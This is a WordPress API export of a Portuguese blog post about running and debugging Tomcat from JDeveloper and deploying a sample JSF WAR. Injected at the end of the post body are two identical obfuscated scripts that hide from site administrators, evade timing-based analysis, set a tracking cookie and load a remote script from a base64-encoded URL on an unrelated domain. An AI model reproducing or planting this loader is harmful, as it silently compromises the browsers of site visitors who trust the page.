{"id":168,"date":"2010-08-30T12:40:18","date_gmt":"2010-08-30T15:40:18","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=168"},"modified":"2025-10-26T22:44:11","modified_gmt":"2025-10-27T01:44:11","slug":"tomcat-produtivo-no-jdeveloper-com-jsf","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/08\/30\/tomcat-produtivo-no-jdeveloper-com-jsf\/","title":{"rendered":"Tomcat produtivo no JDeveloper com JSF"},"content":{"rendered":"<p style=\"text-align: justify;\">Ontem um amigo meu, o Soneca, encontrou uma dificuldade ao configurar o Tomcat no JDeveloper. Simplesmente o Tomcat n\u00e3o \u00e9 integrado ao JDeveloper 11g igual ao Weblogic. Fiquei curioso e resolvi deixar o JDeveloper produtivo ao se trabalhar com o Tomcat, sem a necessidade de se criar um plugin.<\/p>\n<p style=\"text-align: justify;\">O primeiro passo \u00e9 configurar como iniciar e parar o tomcat. Para isso, iniciamos o JDeveloper, acessamos o menu Tools, External Tools, Clique em New.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_183\" aria-describedby=\"caption-attachment-183\" style=\"width: 262px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-Tools.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-183 \" title=\"Tools\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-Tools.png\" alt=\"Tools\" width=\"262\" height=\"229\" \/><\/a><figcaption id=\"caption-attachment-183\" class=\"wp-caption-text\">Tools<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Selecione External Program e clique em Next. Configure o Program Executable para o arquivo catalina.sh do seu tomcat. Estou utilizando aqui a vers\u00e3o 7 do Tomcat, mas funciona em qualquer outra vers\u00e3o. Em Arguments, coloque \"run\", conforme imagem abaixo:<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_184\" aria-describedby=\"caption-attachment-184\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-CreateExternalTool.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-184 \" title=\"Create External Tool\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-CreateExternalTool-300x211.png\" alt=\"Create External Tool\" width=\"300\" height=\"211\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-CreateExternalTool-300x211.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-CreateExternalTool.png 638w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-184\" class=\"wp-caption-text\">Create External Tool<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Coloque como Caption e Tooltip: \"Start Tomcat\" e o seguinte \u00edcone:<\/p>\n<figure id=\"attachment_185\" aria-describedby=\"caption-attachment-185\" style=\"width: 16px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/tomcat-start.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-185\" title=\"tomcat-start\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/tomcat-start.png\" alt=\"tomcat-start\" width=\"16\" height=\"16\" \/><\/a><figcaption id=\"caption-attachment-185\" class=\"wp-caption-text\">tomcat-start<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Clique em Next, selecione onde voc\u00ea deseja exibir. Eu selecionei: Tools Menu e Main Toolbar e clique em Finish. Fa\u00e7a o mesmo para o catalina.sh com argumento \"stop\", Caption e Tooltip \"Stop Tomcat\" e o seguinte \u00edcone:<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_186\" aria-describedby=\"caption-attachment-186\" style=\"width: 16px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/tomcat-stop.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-186\" title=\"tomcat-stop\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/tomcat-stop.png\" alt=\"tomcat-stop\" width=\"16\" height=\"16\" \/><\/a><figcaption id=\"caption-attachment-186\" class=\"wp-caption-text\">tomcat-stop<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Fa\u00e7a o mesmo para o catalina.sh com argumento \"jpda run\", Caption e Tooltip \"Debug Tomcat\" e o seguinte \u00edcone:<\/p>\n<figure id=\"attachment_187\" aria-describedby=\"caption-attachment-187\" style=\"width: 16px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/tomcat-debug.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-187\" title=\"tomcat-debug\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/tomcat-debug.png\" alt=\"tomcat-debug\" width=\"16\" height=\"16\" \/><\/a><figcaption id=\"caption-attachment-187\" class=\"wp-caption-text\">tomcat-debug<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Voc\u00ea deve ficar com uma barra de ferramentas assim:<\/p>\n<figure id=\"attachment_188\" aria-describedby=\"caption-attachment-188\" style=\"width: 141px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-Toolbar.jws_.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-188\" title=\"Toolbar\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-Toolbar.jws_.png\" alt=\"Toolbar\" width=\"141\" height=\"54\" \/><\/a><figcaption id=\"caption-attachment-188\" class=\"wp-caption-text\">Toolbar<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">A primeira parte j\u00e1 est\u00e1 pronta e j\u00e1 \u00e9 poss\u00edvel iniciar, parar e habilitar o debug do tomcat por esses \u00edcones. A sa\u00edda do tomcat tamb\u00e9m ir\u00e1 aparecer dentro do JDeveloper.<\/p>\n<p style=\"text-align: justify;\">Vamos criar um projeto JSF para testar: V\u00e1 em File, New, Generic Application, Application Name: \"JSFTesteApp\", Next. Na pr\u00f3xima tela, em Project Name, coloque \"JSFTeste\" e selecione JSF em Project Technologies. Clique em Finish. Clique com o bot\u00e3o direito no projeto e selecione New, Web Tier, JSF, JSF Page. Em Filename, coloque teste.jsp. Pressione Ok. Insira algum componente jsf na p\u00e1gina criada e salve.<\/p>\n<p style=\"text-align: justify;\">Clique com o bot\u00e3o direito no projeto, selecione Project Properties, Deployment, New. Selecione WAR File, coloque o nome: \"jsfteste\" e pressione Ok. Selecione File Groups, WEB-INF\/lib, Contributors, marque JSF e JSTL. N\u00e3o selecione JSP Runtime! Pressione Ok duas vezes.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_190\" aria-describedby=\"caption-attachment-190\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-EditWAR.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-190 \" title=\"WAR Deployment Profile\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-EditWAR-300x201.png\" alt=\"WAR Deployment Profile\" width=\"300\" height=\"201\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-EditWAR-300x201.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-EditWAR.png 698w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-190\" class=\"wp-caption-text\">WAR Deployment Profile<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Inicie o Tomcat atrav\u00e9s do \u00edcone criado. Clique com o bot\u00e3o direito no projeto e escolha Deploy, jsfteste. Selecione Deploy to Application Server, Clique em Next. Selecione o + na tela de Application Servers para adicionar o Tomcat. Em Connection Type Selecione Tomcat 6.x e d\u00ea um nome. Clique em Next e informe o diret\u00f3rio webapps do Tomcat. Clique em Next e Finish duas vezes.<\/p>\n<p style=\"text-align: justify;\">Aguarde alguns segundos e deve aparecer no console do Tomcat o seguinte:<\/p>\n<p style=\"text-align: justify;\">[cc]Aug 30, 2010 4:03:43 PM org.apache.catalina.startup.HostConfig deployWAR<br \/>\nINFO: Deploying web application archive jsfteste.war<br \/>\nAug 30, 2010 4:03:43 PM com.sun.faces.config.ConfigureListener contextInitialized<br \/>\nINFO: Initializing Mojarra (1.2_09-20081212-SNAPSHOT) for context '\/jsfteste'<br \/>\nAug 30, 2010 4:03:44 PM com.sun.faces.spi.InjectionProviderFactory createInstance<br \/>\nINFO: JSF1048: PostConstruct\/PreDestroy annotations present.\u00a0 ManagedBeans methods marked with these annotations will have said annotations processed.[\/cc]<\/p>\n<p style=\"text-align: justify;\">Acesse a p\u00e1gina: http:\/\/localhost:8080\/jsfteste\/faces\/teste.jsp<\/p>\n<p style=\"text-align: justify;\">Se abrir a sua p\u00e1gina corretamente a configura\u00e7\u00e3o foi bem sucedida!<\/p>\n<p>Em um pr\u00f3ximo post explico como alterar a execu\u00e7\u00e3o padr\u00e3o e habilitar a depura\u00e7\u00e3o remota.<\/p>\n<p>Caso algu\u00e9m tenha interesse em desenvolver um plugin pode contar comigo!<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ontem um amigo meu, o Soneca, encontrou uma dificuldade ao configurar o Tomcat no JDeveloper. Simplesmente o Tomcat n\u00e3o \u00e9 integrado ao JDeveloper 11g igual ao Weblogic. Fiquei curioso e resolvi deixar o JDeveloper produtivo ao se trabalhar com o <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/08\/30\/tomcat-produtivo-no-jdeveloper-com-jsf\/\">Continue lendo  <span class=\"screen-reader-text\">  Tomcat produtivo no JDeveloper com JSF<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,8,10,9],"tags":[],"class_list":["post-168","post","type-post","status-publish","format-standard","hentry","category-java","category-jdeveloper","category-jee","category-oracle"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/168","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=168"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/168\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=168"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=168"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=168"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}